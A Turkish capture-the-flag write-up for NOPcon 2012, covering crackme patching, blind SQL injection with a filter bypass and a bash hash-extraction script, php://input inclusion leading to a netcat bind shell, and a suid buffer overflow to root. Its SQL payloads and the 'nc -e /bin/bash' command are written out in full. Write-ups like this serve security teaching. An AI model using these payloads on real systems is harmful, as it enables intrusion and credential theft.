NOPcon Capture The Flag Çözümleri

Transkript

NOPcon Capture The Flag Çözümleri
NOPcon Capture The Flag Çözümleri
www.nopcon.org
www.signalsec.com
1. Adım Çözümü
İlk adım gerçek hayatta karşılaşılmayacak , dikkat ölçme amacıyla hazırlanmış bir adımdı.
Katılımcılardan verdiğimiz iki resim dosyası arasında farkı bulmaları isteniyordu.
Geek.jpg resim dosyasının içine bir IP Adresi gizlenmişti;
# strings geek.jpg > a.txt ; strings geeks.jpg > b.txt ; diff a.txt b.txt
378,380d377
< 213.p
< 128.
< 89.110Q
IP adresine browser ile girildiğinde aşağıdaki mesajla karşılaşılmaktaydı;
2. Adım Çözümü
Bu adımda katılımcılardan 2.adımda ulaştıkları basit bir crackme uygulamasını cracklemeleri
istenmekteydi;
Uygulama Click Me butonuna basıldığında yukarıdaki mesajı vermekteydi.
Çözüm – NSNS ekibi;
İlgili IP adresine girdiğimizde bizi "binary.exe" bekliyordu.
Öncelikle güvenli bir windows makinada yazılımı çalıştırarak nasıl bir çıktı verdiğini ve yazılımın nasıl
davrandığını inceledik. Çıktıyı gördükten sonra yazılımı daha detaylı incelemeye karar verdik. Bu aşamada
yazılımı debug ya da disassamble etmeden önce -compress- 'lenmiş olabileceğini düşünerek “hexdump”
çıktısında -compress/pack- izleri aradık;
...
000002f0 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00 |........UPX0....|
00000300 00 20 22 00 00 10 00 00 00 00 00 00 00 04 00 00 |. ".............|
00000310 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 |................|
00000320 55 50 58 31 00 00 00 00 00 90 0d 00 00 30 22 00 |UPX1.........0".|
00000330 00 84 0d 00 00 04 00 00 00 00 00 00 00 00 00 00 |................|
00000340 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 |[email protected]...|
...
000003d0 00 00 00 00 00 00 00 00 00 00 00 33 2e 30 38 00 |...........3.08.|
000003e0 55 50 58 21 0d 09 08 07 65 37 81 13 58 f1 1e e5 |UPX!....e7..X...|
000003f0 5a 93 2f 00 6d 80 0d 00 00 60 2d 00 26 b5 00 42 |Z./.m....`-.&..B|
00000400 b2 f2 b3 fd 00 1e 68 0b 61 00 0a 1c 0f 20 24 69 |......h.a.... $i|
00000410 54 6c e5 e7 76 b7 ec b2 2f c0 12 62 0a 1c e4 fa |Tl..v.../..b....|
...
Yukarıdaki satırlara rastladığımızda bu yazılımın UPX ile compress'lendiğini anladık. Daha sonra
Aşağıdaki komutu çalıştırarak binary -uncompress- ettik;
$ upx -d binary.exe
“Binary.exe”’yi OllyDb yazılımı kullanarak çalıştırdık ve binary.exe’nin -output- ‘unda gördüğümüz, “Crack
me Please :(” ASCII karakterlerini aradık
Aradığımız bu karakterlere ulaşıp bunun referansına ulaştığımızda. cmp / jnz instruction ikilisine rastladık. Bu
noktada kodu çalıştırıp basitçe CPU Zero Flag’ini toggle edebilirsiniz veya JNZ’yi JZ ile yer değiştirebilirsiniz.
00402D2F |. 75 1D
JNZ SHORT binary.00402D4E
00402D2F |. 75 1D
JZ SHORT binary.00402D4E
Yukarıdaki şekilde -crack- işlemini gerçekleştirerek modifiye edilmiş binary.exeyi çalıştırmaya
devam ettik ve MessageBox içinde 3. adım ile ilgili link adresine ulaştık;
http://213.128.89.110/nopcon2012rocks/
3. Adım Çözümü
NOPcon CTF hacking yarışmasının 3. aşaması 3 adımdan oluşuyordu:
 Sql enjeksiyon
 MD5 hash Cracking
 RFI ile Bindshell
İlk olarak portaldaki sql enjeksiyon açığını tespit etmeniz ve daha sonra bu açığı kullanarak elde
ettiğiniz md5 hash'i kırarak sisteme giriş yapmanız gerekiyordu.
Portala giriş yaptıktan sonra file include açığını tespit edilip sunucuya netcat bağlantısı
gerçekleştirilerek ve bu aşama başarı ile tamamlanacaktı.
İncelemeye sql enjeksiyon ile başlayalım:
Genelde login alanında brute-force ve FI denendi fakat zafiyetin “index.php?page=sifremi
unuttum” sayfası içinde aranması gerekiyordu. Bu sayfada iki tane input alanı mevcuttu.
 kullanıcı adına göre
 email adına göre
“email adına göre” alanı boş bir “POST” methodu kullanıyordu. Odaklanmamız gereken nokta
“kullanıcı adına göre” kısmıydı.
“Kullanıcı
adına göre
ara”
kısmını
Firebug ile
incelemeye başlıyoruz. Bu inputun “id” değerini POST ettiğini görüyoruz. Bir şeyler göndermeyi
deneyelim:
“admin” yazdığımız takdirde bize yeşil bir uyarı ekranı getiriyor. Başka bir şey yazdığımızda ise
herhangi bir uyarı ekranı almıyoruz. Demekki veritabanında admin adlı bir kullanıcı mevcut.
Diğer akla gelen şey ise admin kullanıcısına ait bilgilerin maile gönderilip, gönderilmediğiydi fakat
veritabanı işlemi dışında mail gönderme gibi bir aksiyon yoktu.
Şimdi bu alana sql enjeksiyon saldırısı gerçekleştireceğiz . Sql enjeksiyon için bir saldırı vektörü
tanımlayalım:
Method : POST
Değişken : id
Veri : admin' and '1'='1
Saldırı vektörümüzü string olarak oluşturduk. Datayı POST ettiğimiz takdirde, cevap TRUE olarak
dönüyor ve ekranımızda yine “ sayın admin kullanıcı şifreniz yollandı.” yazıyor. Buradan anlıyoruz ki,
scriptte Post blind sql injection açığı mevcut.
Açığı onaylamak adına Sifremiunuttum.php kaynak kodunu inceleyelim:
Sql sorgusu:
"SELECT * FROM kullanici WHERE kadi = '$id' ";
Saldırı vektörü dahil olduktan sonra:
"SELECT * FROM kullanici WHERE kadi = 'admin' and '1'='1'";
Örnekte de gördüğümüz üzere Sql sorgusuna id değişkeni hiç bir filtreden geçmeden dahil oluyor.
Sqli'nin varlığından emin olduğumuza göre saldırı vektörümüzü çeşitlendirelim:
İlk olarak mysql sürümünü kontrol ediyoruz.
False : admin' and substring(version(),1,1)=4 and '1'='1
True : admin' and substring(version(),1,1)=5 and '1'='1
5 değeri true olarak döndüğü için mysql sürümünün 5 olduğunu anladık.
Saldırı vektöründe Subselect sorgular kullanacağımız için subselect'in çalışıp çalışmadığından emin
olalım:
admin' and (select 1)=1 and '1'='1
Çalışmadı!
Çalışmamasının sebebinini sifremiunuttum.php kaynak kodlarıyla açıklamaya çalışacağım.
if(preg_match('/(select|SELECT)/', $id)):
exit(); // engelle
endif;
Kod parçasını anlamaya çalışalım,
preg_match fonksiyonu ile eğer gelen veri select veya SELECT olursa exit(); yaparak kodun çalışması
engelleniyor. Burada katılımcılar için bir nevi Web Application Firewall simülasyonu oluşturmaya
çalıştık. Bu korumayı aşmaya çalışalım ve saldırı vektörünü değiştirelim.
admin' and (SeLeCt 1)=1 and '1'='1
Bu saldırı vektörünü kullandığımızda TRUE değeri dönecek.
Md5 hash almak için sırasıyla tablo ve kolonları bulmaya çalışalım:
admin' and (SeLeCt 1 from kullanici limit 0,1)=1 and '1'='1
Burada kullanici tablosunu tahmin etmemiz gerekiyor bu yüzden mysql5'in bize sunduğu
information_schema özelliğini kullanalım
Veritabanı ismini alıyoruz;
admin' and 1=0 UniON ALL SeLecT '1',DATABASE(),'3
çıktı : ctfnopcon_db_ertevbcvb_83947589375
Veritabanı ismini kullanarak tablo ismini bulalım:
admin' and 1=0 UniON ALL SeLecT '1',group_concat(table_name),'3' FROM
INFORMATION_SCHEMA.TABLES WHERE table_schema =
'ctfnopcon_db_ertevbcvb_83947589375
Çıktı : kullanici
Şimdi tablo ismini kullanarak kolon ismini alıyoruz.
admin' and (SeLeCt substring(concat(1,sifre),1,1) from kullanici limit 0,1)=1 and '1'='1
“sifre” kolonunu tahmin ederek bulduk. İşleri kolaylaştırmak için information_schema kullanalım:
admin' and 1=0 UniON ALL SeLecT '1', group_concat(column_name), '3' from
information_schema.columns group by table_name having table_name='kullanici
çıktı : id,kadi,sifre
3 kolonumuz var. Şifre kolonuna odaklanalım ve verileri almaya başlayalım:
ASCII tablo eşleşmesini kullanarak deneme-yanılma yöntemiyle yapabiliriz.
admin' and ASCII(SUBSTRING((SeLeCt sifre FROM kullanici WHERE id=1),1,1)) = 50 and '1'='1
ASCII tablo: 2
admin' and ASCII(SUBSTRING((SeLeCt sifre FROM kullanici WHERE id=1),32,1)) = 98 and '1'='1
ASCII tablo: b
1. ve 32. karakteri alıyoruz; 2 rakamı ve b harfiymiş fakat bu yöntem oldukça uzun süreceği için
kullanabileceğimiz başka bir saldırı vektörü var.
admin' and sifre like '2%
sifre kolonunda 2 ile başlayan karakterleri buluyor. Tabii ki bununla da tek tek harf ve rakam
deneyeceğimiz için basit bir script kodlamamız gerekiyor.
#!/bin/bash
# CTF katılımcılarından Orhan Albay’ın geliştirdiği script.
sifre=""
for n in {0..31}
do
for c in {0..9}
do
res=$(curl --data "id=admin' and sifre like '$sifre$c%" -s
"http://213.128.89.110/nopcon2012rocks/index.php?page=sifremiunuttum")
if echo $res | grep -q "ifreniz yolland"; then sifre="${sifre}${c}"; echo $sifre; break; fi
done
for c in {a..f}
do
res=$(curl --data "id=admin' and sifre like '$sifre$c%" -s
"http://213.128.89.110/nopcon2012rocks/index.php?page=sifremiunuttum")
if echo $res | grep -q "ifreniz yolland"; then sifre="${sifre}${c}"; echo $sifre; break; fi
done
done
kullanım:
chmod +x ornek.sh;./ornek.sh
Bu script ile bir kaç saniye içinde hash'i elde edebiliyoruz.
Md5 hash : 2e5d49f392b0cd0f27bd56bd7e9eacbb
Daha sonra bu hash'i kırmamız gerekiyor.
Hash’i kırdıktan sonra elde edeceğimiz şifre şu şekilde olmalıydı;
Şifre : 1679824568
Şifreyi elde ettiğimize göre portala giriş yapıp son adımı gerçekleştirmemiz gerekiyor.
Giriş yaptığımızda ilk dikkatimizi çeken alan index.php?page= oluyor. Çoğu yarışmacı bu alana FI
denedi fakat başarılı olamadı. Neden başarılı olamadığını kodlara bakarak anlamaya çalışalım.
index.php kaynak kodu:
$whitelist =
array('giris','sifremiunuttum','iletisim','yonetim','cikis','cikisyap');
if (in_array($_GET['page'], $whitelist)) {
include($_GET['page'].'.php');
} else {
include('anasayfa.php');
}
Kod parçasını incelediğimizde “Whitelist” yöntemi kullanıldığını görüyoruz. Yani array list içindeki
herhangi bir parçayı kullanmadığınız takdirde else bloku devreye girecek ve FI açığı bir işe
yaramayacaktır.
Bu yüzden bakış açımızı değiştirelim. Page değişkenine gelen değerlerin “.php” olarak çalıştığını
görüyoruz. Demekki sifremiunuttum.php, yonetim.php gibi dosyalarımız var. Bu yüzden burada
yapmanız gereken şey cikisyap.php içindeki RFI açığına odaklanmaktı.
Cikis.php kaynak kodlarını inceleyelim:
if(!preg_match('/(php:\/\/input)/', $_GET['page'])):
exit(); // engelle
endif;
Yine bir regex kontrolü gerçekleştirdik. Eğer page değişkeni php://input değilse kodun çalışması
durduruluyor. Kısacası php shell vs. elde etmeniz mümkün olmuyor.
Devam edelim, Firefox eklentisi olan Hackbar'ı açıyoruz ve load url yapıyoruz. Php://input “post”
methoduyla çalıştığı için “enable post data” diyoruz. POST DATA alanına system fonksiyonumuzu ve
çalıştıracağımız komutu yazıyoruz.
Sunucu da netcat kurulu olduğu için ilk olarak “nc” deneyeceğiz. “nc -l -p 4477 -e /bin/bash”
yazarak 4477. portu monitör etmeye başlıyoruz ve yüklemeye başlayınca “Netcat ip port”
komutuyla bağlanmaya çalışıyoruz ve www-data kullanıcısıyla içerde olduğumuzu görüyoruz;
Tebrikler, 3. aşamayı da tamamlamış olduk :)
4. Adım Çözümü
Son adım katılımcılardan /tmp dizini altında bulunan suidbit değeri atanmış “exploitme”
uygulamasını istismar edip , root hakları elde etmeleri istenmekteydi. “exploitme” uygulaması NX
disable olarak derlenmiş ve sistemde ASLR dışında hiçbir protection bulunmamaktaydı;
Uygulama iki parametre almaktaydı. İlk argüman güvenli fonksiyon strncpy ile kopyalanırken, ikinci
argüman strcpy ile kopyalanmaktaydı;
Aşağıdaki resimde görüldüğü gibi , ikinci argümana uzun bir input girildiğinde uygulama crash
olmaktaydı;
Uygulamayı iki kere çalıştırarak $esp registerının değerine baktığımızda, ASLR protection’ını
görebiliriz;
Aslında binary içine katılımcıların işini kolaylaştırmak için inline assembly olarak bir adet “jmp esp”
instruction’ı eklenmişti  Dolayısıyla binary içinde jmp esp opcode’larını aratan yarışmacılar bu
adımı kolaylıkla geçebileceklerdi. Diğer yöntem ise ASLR’ yi brute force yaparak bypass etmekti.
Binary içinde ‘ jmp esp ‘ instructionını bulduktan sonra , kısaca yapılması gereken /bin/sh
shellcode’umuzu stack’e yazıp , jmp esp’nin binary içindeki offsetini de EIP işaretçisinin üzerine
yazarak , uygulamayı exploit etmekti.

Benzer belgeler